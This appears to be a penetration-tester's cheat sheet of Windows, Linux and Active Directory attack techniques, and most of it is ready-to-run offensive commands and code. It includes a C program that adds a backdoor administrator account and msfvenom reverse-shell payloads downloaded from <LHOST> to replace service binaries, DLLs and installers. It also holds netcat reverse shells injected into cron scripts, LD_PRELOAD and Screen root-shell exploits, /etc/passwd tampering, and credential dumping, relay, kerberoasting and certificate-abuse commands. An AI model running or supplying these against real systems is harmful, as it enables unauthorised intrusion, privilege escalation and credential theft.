param($f="C:\path\to\file"); $r=@(); Get-Process|?{try{$_.Modules|?{$_.FileName -eq $f}}catch{}}|%{$r+="PROCESS: $($_.Name) (PID $($_.Id))"}; Get-ScheduledTask|?{$_.Actions|?{$_ -match [regex]::Escape($f)}}|%{$r+="TASK: $($_.TaskPath)$($_.TaskName)"}; Get-WmiObject Win32_Service|?{$_.PathName -match [regex]::Escape($f)}|%{$r+="SERVICE: $($_.Name) [$($_.State)]"}; Get-ChildItem HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -EA 0|%{$k=$_;$k.GetValueNames()|?{$k.GetValue($_) -match [regex]::Escape($f)}|%{$r+="AUTORUN: $_"}}; if($r){$r}else{"Not found"}Service Control
sc.exe qc "Name" sc.exe start "Name" sc.exe stop "Name" sc.exe config ServiceName binPath= "C:\path" # If service won't restart or you replaced a binary: force reboot so new binary runs on boot shutdown /r /t 0
Check Service ACLs
powershell.exe -ExecutionPolicy Bypass -File .\Get-ServiceACL.ps1 -Name "serviceName"
Exploit - Custom Binary
// adduser.c - compile: x86_64-w64-mingw32-gcc -static adduser.c -o adduser.exe
#include <stdlib.h>
int main() {
system("net user pwned Password1! /add");
system("net localgroup administrators pwned /add");
return 0;
}Exploit - msfvenom + Replace
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o shell.exe move C:\path\original.exe original.bak iwr -uri http://<LHOST>/shell.exe -Outfile C:\path\original.exe net stop <service> && net start <service> # Or force reboot so hijacked service runs on next boot: shutdown /r /t 0
icacls Permissions
| Mask | Permission |
|---|---|
| F | Full access |
| M | Modify access |
| RX | Read and execute |
| W | Write-only |
Quick check: which PATH dirs can I write to?
# PowerShell: test write in each PATH dir (no external tools)
$env:PATH -split ';' | ForEach-Object { $d = $_.Trim(); if ($d -and (Test-Path $d -PathType Container)) { try { $t = Join-Path $d ("_w" + [guid]::NewGuid().ToString("n").Substring(0,8)); [IO.File]::WriteAllText($t,''); Remove-Item $t -Force -EA 0; $d } catch {} } }
# With accesschk: only dirs where current user has write (replace <USER>)
$env:PATH -split ';' | ForEach-Object { $d = $_.Trim(); if ($d -and (Test-Path $d)) { .\accesschk.exe -uwqd "<USER>" $d 2>$null | Out-Null; if ($LASTEXITCODE -eq 0) { $d } } }Exploit Steps
# 1. Find non-standard app, check if writable echo "test" > "C:\App\test.txt" # 2. Transfer binary to controlled env, run with Procmon # Filter: Process Name = target.exe # Look for: NAME NOT FOUND → missing DLL # 3. Generate malicious DLL msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f dll -o MissingDll.dll # 4. Upload to app directory iwr -uri http://<LHOST>/MissingDll.dll -Outfile "C:\App\MissingDll.dll"
Find Writable PATH Directories
$env:PATH -split ";" | %{icacls $_ 2>$null | sls -Pattern "everyone|authenticated users|$env:USERNAME"}DLL Search Order
- Directory from which the application loaded
- System directory (C:\Windows\System32)
- 16-bit system directory
- Windows directory (C:\Windows)
- Current directory
- PATH environment variable directories
Enumerate
schtasks /query /fo LIST /v
# Non-Microsoft tasks
Get-ScheduledTask | Where-Object {$_.Author -notlike "*Microsoft*"} | Select-Object TaskName,@{N='Exe';E={$_.Actions.Execute}},State | Format-Table -Wrap
# Tasks running from user-writable paths
Get-ScheduledTask | Where-Object {$_.Actions.Execute -like "*Users*"} | ForEach-Object { $_ | Select TaskName, @{N='Execute';E={$_.Actions.Execute}}, @{N='RunAsUser';E={$_.Principal.UserId}}, State | Format-List * }
# Run in last X mins
$limit=(Get-Date).AddMinutes(-20); schtasks /query /fo CSV /v | ConvertFrom-Csv | ?{ $_.TaskName -ne 'TaskName' -and $_.'Last Run Time' -ne 'N/A' -and (Get-Date $_.'Last Run Time' -ErrorAction SilentlyContinue) -ge $limit } | select TaskName,'Last Run Time',Status | ft -AutoSizeRun as user — list tasks by Run As user
<USER> with username (e.g. offsec, SYSTEM). If table is truncated, use Out-String -Width 300.# Tasks that run as a specific user
Get-ScheduledTask | ? {$_.Principal.UserId -eq "<USER>"} | ft TaskName,TaskPath,State,@{N="RunAs";E={$_.Principal.UserId}}
# All tasks with Run As column (no filter)
Get-ScheduledTask | ft TaskName,@{N="RunAs";E={$_.Principal.UserId}},State -auto | Out-String -Width 300Get data from a specific task
<TASKNAME> and <TASKPATH>. PowerShell: task object → Actions (exe/args), Triggers (when), Principal (Run As user). CMD: get full path via “Find path” then schtasks /query /tn "\<TASKPATH>\<TASKNAME>".PowerShell (task details)
$t = Get-ScheduledTask -TaskName "<TASKNAME>"; $t.Actions | Format-List *; $t.Triggers | Format-List *; $t.Principal | Format-List *
Find path (PowerShell)
Get-ScheduledTask -TaskName "<TASKNAME>" | Select-Object TaskPath, TaskName
Query using CMD
schtasks /query /tn "\<TASKPATH>\<TASKNAME>" /fo LIST /v
Exploit (Writable Binary)
icacls "C:\Users\user\task.exe" msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o task.exe move C:\Users\user\task.exe task.bak iwr -uri http://<LHOST>/task.exe -Outfile "C:\Users\user\task.exe"
AlwaysInstallElevated
# Both must be 1 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Exploit: MSI runs as SYSTEM msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f msi -o shell.msi msiexec /quiet /qn /i shell.msi
File Discovery
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\Users\ -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Recurse -Include *.conf,*.ini,*.xml,*.properties,*.txt -Path . | Select-String "password\s*=" tree /A /F
PowerShell History
Get-History (Get-PSReadlineOption).HistorySavePath type C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt type C:\Users\Public\Transcripts\*.txt
Hardcoded Credentials in Executables
.\strings.exe -accepteula application.exe | findstr /i "password" strings application.exe | grep -iE "password|user|admin|key"
Script Block Logging (Event ID 4104)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} | Select-Object -ExpandProperty MessageWindows.old SAM Dump
copy C:\Windows.old\Windows\System32\config\SAM C:\Users\Public\SAM copy C:\Windows.old\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM
secretsdump.py -sam SAM -system SYSTEM LOCAL
PowerShell — writable dirs & files (current user)
# Writable directories (scope C:\Users or C:\ to taste)
Get-ChildItem -Path C:\Users -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $a = (Get-Acl $_.FullName).Access; if ($a | Where-Object { $_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match 'Write|Modify|FullControl' }) { $_.FullName } } catch {} }
# Writable files (e.g. under Users)
Get-ChildItem -Path C:\Users -File -Recurse -ErrorAction SilentlyContinue | ForEach-Object { try { $a = (Get-Acl $_.FullName).Access; if ($a | Where-Object { $_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match 'Write|Modify|FullControl' }) { $_.FullName } } catch {} }CMD — accesschk (Sysinternals): writable dirs & files for Users
accesschk64.exe -uwdqs Users c:\ accesschk64.exe -uwqs Users c:\
CMD — icacls (spot-check a path)
icacls "C:\path\to\folder" icacls "C:\path\to\file"
RunasCs.exe
Use when you have credentials but need to execute as another user from a reverse shell.
| Feature | runas | RunasCs.exe |
|---|---|---|
| Needs GUI? | Yes | No - works from reverse shell |
| UAC bypass | No | --bypass-uac |
.\RunasCs.exe <USER> <PASS> cmd.exe -r <LHOST>:<LPORT>
Credentials (Windows Credential Manager)
# List stored credentials cmdkey /list # If present, use runas with saved creds runas /savecred /user:<USER> cmd.exe
WinRM PSSession
$password = ConvertTo-SecureString "<PASS>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USER>", $password)
Enter-PSSession -ComputerName <IP> -Credential $cred# From Windows (cmd or PS): wsl.exe # You are root in the Linux VM. Browse Windows: ls /mnt/c/Users/Administrator/Desktop cat /mnt/c/Users/Administrator/.ssh/id_rsa # Read flags or creds you couldn't access from Windows.
Download (no PowerShell IWR)
# CertUtil (already in MISC) certutil -urlcache -split -f http://<LHOST>/file.exe C:\Users\Public\file.exe # Bitsadmin bitsadmin /transfer myJob http://<LHOST>/file.exe C:\Users\Public\file.exe
Execute C# when .exe is blocked (MSBuild / InstallUtil)
# Put C# payload in a .csproj or use InstallUtil. MSBuild runs trusted Microsoft binary: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe project.csproj # Or InstallUtil (installer helper runs your code): C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /U payload.dll
Basic Info
id && whoami && hostname && uname -a && groups cat /etc/passwd cat /etc/issue && cat /etc/os-release ps aux ip a && routel ss -antup crontab -l && sudo crontab -l ls -lah /etc/cron* cat /etc/crontab dpkg -l cat /etc/fstab && df -h sudo -l
SUID & Capabilities
find / -perm -u=s -type f 2>/dev/null getcap -r / 2>/dev/null
Writable Files & Folders
find / \( -path /proc -o -path /snap \) -prune -o -type d -writable -print 2>/dev/null find / \( -path /proc -o -path /snap -o -path /sys -o -path /dev -o -path /run \) -prune -o -type f -writable -print 2>/dev/null
Interesting paths to check
/home /opt /srv /var/mail /var/www /var/backup /var/log /etc/passwd /etc/shadow
Readable Files (main paths only)
find /home /var -type f -readable 2>/dev/null
Symbolic links (privesc)
# Example: writable dir /home/user/backup/; something running as root backs up “content” ln -s /root /home/user/backup/rootbackup # After trigger: check /home/user/backup/rootbackup (or copied output) for root files
Interesting Files
# Databases find / -type f \( -iname "*.db" -o -iname "*.sqlite" \) 2>/dev/null # Sensitive files find / \( -path /proc -o -path /sys -o -path /usr -o -path /snap \) -prune -o -type f \( -iname ".env" -o -iname "*config*" -o -iname "*.ini*" -o -iname "*credential*" -o -iname "*.bak" -o -iname "*history*" -o -iname "*id_rsa*" -o -iname "*.key" \) -print 2>/dev/null # Find passwords in files find . -type f \( -name "*.php" -o -name "*.conf" -o -name "*.env" -o -name "*.inc" \) -print0 2>/dev/null | xargs -0 grep -niE "(password\s*=|password\s*=>|\bpassword\b)" 2>/dev/null | cut -c1-200
Docker Detection
cat /proc/net/fib_trie
Linpeas
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
unix-privesc-check
./unix-privesc-check standard > output.txt
Traitor
./traitor-386
pspy (monitor processes)
./pspy64
User Trails
sudo -l cat ~/.bash_history cat /home/*/.bash_history cat ~/.bashrc env ls ~/.ssh/
Service Footprints
watch -n 1 "ps aux | grep pass" sudo tcpdump -i lo -A | grep "pass"
Interesting Files
find / -type f \( -iname "*.db" -o -iname "*.sqlite" \) 2>/dev/null find / -name "config.php" 2>/dev/null find / -name "wp-config.php" 2>/dev/null find / -type f \( -iname ".env" -o -iname "*credential*" -o -iname "*secret*" \) 2>/dev/null find / -type f \( -iname "*.pem" -o -iname "*.key" -o -iname "*id_rsa*" \) 2>/dev/null find / -type f \( -iname "*.bak" -o -iname "*.old" -o -iname "*.swp" \) 2>/dev/null
Find SUID Binaries
find / -perm -u=s -type f 2>/dev/null find / -perm -4000 -type f 2>/dev/null
Find Capabilities
getcap -r / 2>/dev/null /usr/sbin/getcap -r / 2>/dev/null
Check GTFOBins for exploitation methods.
Capabilities – exploit examples
# cap_setuid+ep (e.g. python, perl): set UID to 0 and spawn shell
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl: perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# cap_dac_read_search+ep (e.g. tar): read any file bypassing permissions
tar -cvf /dev/null /etc/shadow # or getcap shows path, run binary to read restricted filesExample: find with -exec
find /home/user -exec "/usr/bin/bash" -p \;
SUID hping3
# If hping3 is SUID: hping3 /bin/sh -p
Screen 4.5.0 (CVE-2017-5618)
find / -perm -u=s -type f 2>/dev/null reveals screen-4.5.0 with SUID bit set. Use searchsploit and adapt the script for the target gcc version if needed.
libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}rootshell.c
#include <stdio.h>
#include <unistd.h>
int main(void){
setuid(0); setgid(0); seteuid(0); setegid(0);
execvp("/bin/sh", (char*[]){"/bin/sh", NULL});
}Screen 4.5.0 – Compile & exploit
-static for executables to avoid glibc mismatch (e.g. Kali vs older target). For .so you need same/older glibc on build host, or build in Docker with old distro.gcc -fPIC -shared -o libhax.so libhax.c -ldl gcc -static -o rootshell rootshell.c # Transfer both to target, then: cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" screen -ls /tmp/rootshell
id groups
Docker Group
docker run -v /:/mnt --rm -it alpine chroot /mnt sh docker run -v /root:/root -it ubuntu bash
LXD Group
See HackTricks - LXD Privilege Escalation
Disk Group
df -h debugfs /dev/sda5 # In debugfs: ls, cd /root, cat flag.txt
Shadow Group
cat /etc/shadow john --wordlist=<WORDLIST> shadow.txt
Adm Group
cat /var/log/auth.log | grep -i pass
Check Permissions
sudo -l
Check GTFOBins → "Sudo" section for the allowed binary. Read the env_keep lines (e.g. LD_PRELOAD).
Sudo LD_PRELOAD (env_keep)
Defaults env_keep += "LD_PRELOAD" and you have NOPASSWD on a command (e.g. /usr/bin/find), load a malicious .so that spawns a shell. It runs as root.# evil.c
#include <stdlib.h>
#include <unistd.h>
void _init() { setuid(0); setgid(0); system("/bin/bash"); }
# Compile and run:
gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/findCVE-2019-14287 (sudo < 1.8.28)
sudo -V | head -1 # If config: (ALL, !root) /bin/bash sudo -u#-1 /bin/bash
CVE-2021-3156 Baron Samedit (sudo 1.8.2–1.8.31p2, 1.9.0–1.9.5p1)
sudo -V | head -1 # Exploit (no pass needed): sudoedit -s / # Or use exploit script: https://github.com/blasty/CVE-2021-3156
Sudo 1.9.17 (hostname bypass)
# If sudo -l shows different rules per hostname: sudo -l -h <hostname> sudo -h <hostname> -i
sudo gcore (dump process memory)
# If (ALL) NOPASSWD: /usr/bin/gcore: dump root process (e.g. password-store) sudo gcore -o /tmp/dump <PID> strings /tmp/dump.* | grep -i pass # or su root with found password
sudo nice (GTFOBins)
# If (ALL) NOPASSWD: /bin/nice /path/* use path traversal: sudo /bin/nice /path/../bin/sh
AppArmor Check
sudo aa-status
Find Cron Jobs
crontab -l sudo crontab -l ls -la /etc/cron* cat /etc/crontab ls -la /var/spool/cron/ grep "CRON" /var/log/syslog grep "CRON" /var/log/cron
Systemd timers
systemctl list-timers --all find /etc/systemd/system -writable -type f 2>/dev/null # If a .service or script run by it is writable, edit ExecStart (e.g. reverse shell) and wait for timer or restart service
Exploit Writable Scripts
find /home -type f -writable 2>/dev/null # Add reverse shell to writable script echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <LHOST> <LPORT> >/tmp/f" >> script.sh # Alternative payloads echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> script.sh echo "chmod u+s /bin/bash" >> script.sh echo "echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> script.sh
Tar Wildcard Injection
# When cron runs: tar czf /var/backups/backup.tar.gz * echo 'chmod u+s /bin/bash' > privesc.sh echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh privesc.sh" # Wait for cron, then: /bin/bash -p
Writable systemd service file
# If /etc/systemd/system/*.service is writable: edit ExecStart (e.g. nc <LHOST> <LPORT> -e /bin/bash), User=root nano /etc/systemd/system/<name>.service sudo systemctl daemon-reload sudo systemctl restart <name> # Or: kill the service process so Restart=on-failure triggers; or reboot
Check Kernel Version
uname -a uname -r cat /etc/issue && cat /etc/os-release
Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh bash linux-exploit-suggester.sh searchsploit kernel $(uname -r)
Notable CVEs
- CVE-2021-4034 (PwnKit): pkexec vulnerability – one-liner:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)" - CVE-2022-0847 (Dirty Pipe): Write to read-only files
- CVE-2024-32019 (Netdata): PATH hijack with fake
nvmebinary (see e.g. searchsploit) - CVE-2025-27591 (Below): Symlink /etc/passwd;
python3 below_exploit.py && su pwned - RUNC container escape:
runc spec→ add mountsource:/destination:/→runc run demo - CVE-2017-16995: Ubuntu 16.04 etc. – searchsploit, compile & run
- CVE-2016-5195 (Dirty COW): Copy-on-write vulnerability
FREEBSD
Check kernel version and searchsploit for FreeBSD-specific exploits; enumeration and privesc patterns differ from Linux.
Check if Writable
find / -writable -type f 2>/dev/null | grep etc ls -la /etc/passwd
Exploit
openssl passwd password123 echo "root2:wI1Q.j5MF3peQ:0:0:root:/root:/bin/bash" >> /etc/passwd su root2
Format: username:password_hash:UID:GID:comment:home:shell (UID 0 = root)
Script running as root with bad library import (one that doesn't exist or can be hijacked).
- Find a Python script running as root
- Check for imports that don't exist or can be hijacked
- Create malicious library in Python path
Library Import Path Order
Python searches for modules in this order:
- Le répertoire du script en cours d'exécution (ou le CWD si c'est interactif)
- Les répertoires dans PYTHONPATH (variable d'environnement)
- Les répertoires d'installation par défaut (/usr/lib/python2.7, /usr/local/lib/python2.7/dist-packages, etc.)
Check for Writable Paths
Verify if you can write to the local path (instead of a system install):
python -c 'import site, os; path = site.USER_SITE; print path + ": " + ("writable" if os.access(os.path.dirname(path), os.W_OK) or not os.path.exists(path) else "read-only")'Redefine the Path
Set a custom user base for Python packages:
export PYTHONUSERBASE=/tmp/python-packages
Verify the new path:
python -c 'import site; print site.USER_SITE'
Example: Hijack Library Installation (wificontroller)
Create a malicious library that gets loaded before the real one:
echo 'import os; os.system("chmod u+s /bin/bash")' > /tmp/python-packages/lib/python2.7/site-packages/wificontroller.py
python -m pip install --user wificontrollerExample: urllib hijack (writable path)
# If a root script imports urllib and you can write in its path, create:
echo 'import os; os.system("cp /bin/bash /tmp/shroot && chmod +s /tmp/shroot")' > urllib.py
# After script runs as root:
/tmp/shroot -pecho '<IP> dc.<DOMAIN>' | sudo tee -a /etc/hostsHosts file & relay list (no creds)
nxc smb <IP> --generate-hosts-file hosts nxc smb --gen-relay-list targets.txt 192.168.1.0/24
SMB Users & Shares
nxc smb <IP> -u '' -p '' --users-export file nxc smb <IP> -u '' -p '' --shares nxc smb <IP> -u 'a' -p '' --shares
Global Enum
enum4linux-ng.py -a -u '' -p '' <IP> ldapsearch -x -H <IP> -s base
Find Users (Kerbrute userenum)
kerbrute userenum -d <DOMAIN> --dc <IP> <USERLIST>
User password bruteforce (Kerbrute bruteuser)
# <password_list> then <username> or userlist file kerbrute bruteuser -d <DOMAIN> --dc <IP> <PASSWORD_LIST> <USERNAME_OR_USERLIST>
LDAP — users & descriptions
ldapsearch -H ldap://<IP> -D "<DOMAIN>\\<USER>" -w '<PASS>' -b "dc=<DOMAIN>,dc=local" "(objectClass=user)" cn sAMAccountName description
Capture with Responder (any trigger)
sudo responder -I tun0 # Trigger (from target or coerced host): dir \\<LHOST>\share
Relay (No Crack Needed)
impacket-ntlmrelayx --no-http-server -smb2support -t <IP> -c "powershell -e BASE64" nc -lvnp <LPORT> # Trigger: dir \\<LHOST>\share
NTLM Relay with SOCKS Proxy
nxc smb --gen-relay-list targets.txt 192.168.1.0/24 impacket-ntlmrelayx -socks -tf targets.txt -smb2support # Use: proxychains secretsdump.py <DOMAIN>/<USER>@<IP>
dir \\<LHOST>\share# Attacker sudo responder -I tun0 # From target (cmd or PS) dir \\<LHOST>\share
Get-ADUser -Filter * -Properties Description
-no-pass to find and roast users without preauth. With a user list use -usersfile. Bruteforce needs a known username.Bruteforce
nxc smb <IP> -u <USER> -p <WORDLIST> --continue-on-success nxc smb <IP> -u <USER> -p <WORDLIST> --no-bruteforce
ASREProasting
GetNPUsers.py -dc-ip <IP> <DOMAIN>/ -no-pass -usersfile <USERLIST> GetNPUsers.py -dc-ip <IP> <DOMAIN>/ -usersfile <USERLIST> -format hashcat nxc ldap <IP> -u <USER> --asreproast output.txt
Crack with hashcat mode 18200.
bloodhound.py (Linux)
python3 bloodhound.py -u '<USER>' -p '<PASS>' -d <DOMAIN> --zip -c All -ns <IP> -dc dc1.<DOMAIN>
nxc ldap (BloodHound)
nxc ldap <IP> -u '<USER>' -p '<PASS>' -d <DOMAIN> --bloodhound -c All --dns-server <IP>
rusthound-ce (Linux)
rusthound-ce -d <DOMAIN> -u '<USER>' -p '<PASS>' -o /tmp/bh -z rusthound-ce -c DCOnly -d <DOMAIN> -u '<USER>' -p '<PASS>' -o /tmp/bh -z
rusthound-ce (Windows)
rusthound-ce.exe -d <DOMAIN> -u <USER> -p <PASS> -o output -z
SharpHound (Windows)
Import-Module .\Sharphound.ps1 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\user\Desktop\ -OutputPrefix "audit" .\sharphound.exe -c All --outputdirectory . --outputprefix "audit"
Find Targets
nxc smb <IP> -u <USER> -p '<PASS>' nxc winrm <IP> -u <USER> -p '<PASS>' nxc smb <IP> -u <USER> -p '<PASS>' --users-export output.txt
Kerberoasting
nxc ldap <IP> -u <USER> -p '<PASS>' --kerberoasting output.txt GetUserSPNs.py -request -dc-ip <IP> <DOMAIN>/<USER>:<PASS> # From existing Windows shell (webshell/revshell etc.; no password): Rubeus.exe kerberoast /outfile:output.txt # Crack: hashcat -a 0 -m 13100 output.txt <WORDLIST>
Check Your Rights
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' get writable --include-del dacledit.py <DOMAIN>/"<USER>":'<PASS>' -dc-ip <IP> -target <USER>
Enable disabled account (remove UAC)
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' remove uac <TARGET_USER> -f ACCOUNTDISABLE
GenericAll - Change Password
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' set password TARGET 'NewP@ss123'
GenericAll - Add to Group
net group "Management Department" stephanie /add /domain
GenericAll / GenericWrite - Targeted Kerberoasting
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' set object TARGET servicePrincipalName -v 'http/pwned' nxc ldap <IP> -u <USER> -p '<PASS>' --kerberoasting output.txt hashcat -m 13100 output.txt <WORDLIST>
ForceChangePassword
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' set password TARGET 'NewP@ss123'
WriteDACL - Grant GenericAll
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' add genericAll TARGET <USER>
WriteOwner - Take Ownership
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' set owner TARGET <USER>
GetChangesAll (DCSync)
secretsdump.py <DOMAIN>/<USER>:'<PASS>'@<IP> evil-winrm-py -i <IP> -u Administrator -H <NTHASH>
Deleted objects (AD)
# List (ldapsearch) — use -E '!1.2.840.113556.1.4.417' for deleted ldapsearch -H ldap://<IP> -D '<USER>' -w '<PASS>' -b "CN=Deleted Objects,DC=<DOMAIN>,DC=local" -E '!1.2.840.113556.1.4.417' "(objectClass=user)" msDS-LastKnownRDN distinguishedName whenChanged
# List (PowerShell)
Get-ADObject -Filter 'ObjectClass -eq "user"' -IncludeDeletedObjects -Properties * | Where-Object { $_.IsDeleted -eq $true } | Select-Object Name, DistinguishedName, ObjectSID# Restore (bloodyAD) bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p '<PASS>' set restore <FULL_DN> # Or PowerShell: Restore-ADObject -Identity "<FULL_DN>"
Recycle Bin (Windows shell)
# List items (Name + Path)
(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }
# Restore: copy from $RECYCLE.BIN to destination
Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-...\<ID>' -Destination 'C:\Users\<USER>\Desktop\restored.7z'Find Vulnerable Templates
certipy find -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -vulnerable -stdout certipy find -ldap-scheme ldap -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -vulnerable -stdout
ESC1 - Misconfigured Templates (SAN)
certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -target CA_HOST -ca CA_NAME -template VulnTemplate -upn administrator@<DOMAIN> certipy auth -pfx administrator.pfx -dc-ip <IP>
ESC3 - Enrollment Agent
certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -ca CA_NAME -template EnrollmentAgent certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -ca CA_NAME -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx enrollment_agent.pfx
ESC4 - Vulnerable Template ACL
certipy template -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -template VulnTemplate -save-old certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -ca CA_NAME -template VulnTemplate -upn administrator@<DOMAIN>
ESC7 - Vulnerable CA ACL
certipy ca -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -ca CA_NAME -enable-template SubCA certipy req -u '<USER>@<DOMAIN>' -p '<PASS>' -dc-ip <IP> -ca CA_NAME -template SubCA -upn administrator@<DOMAIN>
ESC8 - NTLM Relay to ADCS
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController python3 PetitPotam.py <LHOST> <IP>
Malicious .LNK Files (SMB Share)
nxc smb <IP> -u <USER> -p '<PASS>' -M slinky -o NAME=Apps SERVER=<LHOST> # Cleanup: add CLEANUP=True
badPDF
python3 badpdf.py --input original.pdf --output malicious.pdf --attacker-ip <LHOST>
MSSQL Coercion (xp_dirtree)
EXEC xp_dirtree '\\<LHOST>\share'; EXEC xp_subdirs '\\<LHOST>\share'; EXEC xp_fileexist '\\<LHOST>\share\file.txt';
PetitPotam
python3 PetitPotam.py <LHOST> <IP> python3 PetitPotam.py -u <USER> -p '<PASS>' <LHOST> <IP>
Decision Tree
| What You Have | Port | Tool | Privilege |
|---|---|---|---|
| Password | 5985 | evil-winrm-py | Admins / Remote Mgmt Users |
| Password | 135 | impacket-wmiexec | Local Administrator |
| Password | 445 | impacket-psexec | Local Administrator |
| Password | 3389 | xfreerdp | RDP Users |
| NTLM Hash | 135/445 | -hashes :<NTHASH> | Local Admin |
| NTLM Hash | 5985 | evil-winrm-py -H | Admins / Remote Mgmt Users |
| Kerberos TGT | Any | -k -no-pass | Depends on ticket |
Find Targets (nxc)
nxc smb <IP> -u <USER> -p '<PASS>' nxc winrm <IP> -u <USER> -p '<PASS>' nxc smb <IP> -u <USER> -p '<PASS>' -x whoami nxc winrm <IP> -u <USER> -p '<PASS>' -x whoami
WinRM
evil-winrm-py -i <IP> -u <USER> -p '<PASS>' evil-winrm-py -i <IP> -u <USER> -H <NTHASH> evil-winrm-py -i <IP> -u <USER> -p '<PASS>' -s 5986
WinRM (Windows native)
winrs -r:<IP> -u:<USER> -p:<PASS> "whoami"
$cred = New-Object PSCredential('<DOMAIN>\<USER>', (ConvertTo-SecureString '<PASS>' -AsPlainText -Force))
Enter-PSSession -ComputerName <IP> -Credential $cred
Invoke-Command -ComputerName <IP> -Credential $cred -ScriptBlock { whoami }PsExec (Impacket)
impacket-psexec <DOMAIN>/<USER>:<PASS>@<IP> impacket-psexec -hashes :<NTHASH> <DOMAIN>/<USER>@<IP> impacket-psexec -k -no-pass <DOMAIN>/Administrator@DC01.<DOMAIN>
PsExec (Sysinternals)
.\PsExec64.exe -i \\<IP> -u <DOMAIN>\<USER> -p <PASS> cmd .\PsExec64.exe \\<IP> -u <USER> -p <PASS> -s cmd .\PsExec64.exe \\* -u <DOMAIN>\admin -p <PASS> cmd
SMBExec / WMIExec
impacket-smbexec <DOMAIN>/<USER>:<PASS>@<IP> impacket-smbexec -hashes :<NTHASH> <DOMAIN>/<USER>@<IP> impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<IP> impacket-wmiexec -hashes :<NTHASH> <DOMAIN>/<USER>@<IP>
RDP
xfreerdp /u:<USER> /p:'<PASS>' /v:<IP> /cert:ignore xfreerdp /u:<USER> /pth:<NTHASH> /v:<IP> /cert:ignore
DCOM (MMC20.Application)
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1", "<IP>"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami", "7")Load Module
powershell -ep bypass Import-Module .\PowerView.ps1
Enumeration
Get-NetDomain Get-NetUser | select cn,pwdlastset,lastlogon Get-NetUser -SPN | select samaccountname,serviceprincipalname Get-NetGroup | select cn Get-NetGroupMember "Domain Admins" Get-NetComputer -FullData | select operatingsystem,dnshostname Find-LocalAdminAccess Get-NetSession -ComputerName files04 -Verbose Find-DomainShare -CheckShareAccess
ACLs
Get-ObjectAcl -Identity stephanie
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Convert-SidToName S-1-5-21-xxx
Invoke-ACLScanner -ResolveGUIDsTime sync (required for Kerberos)
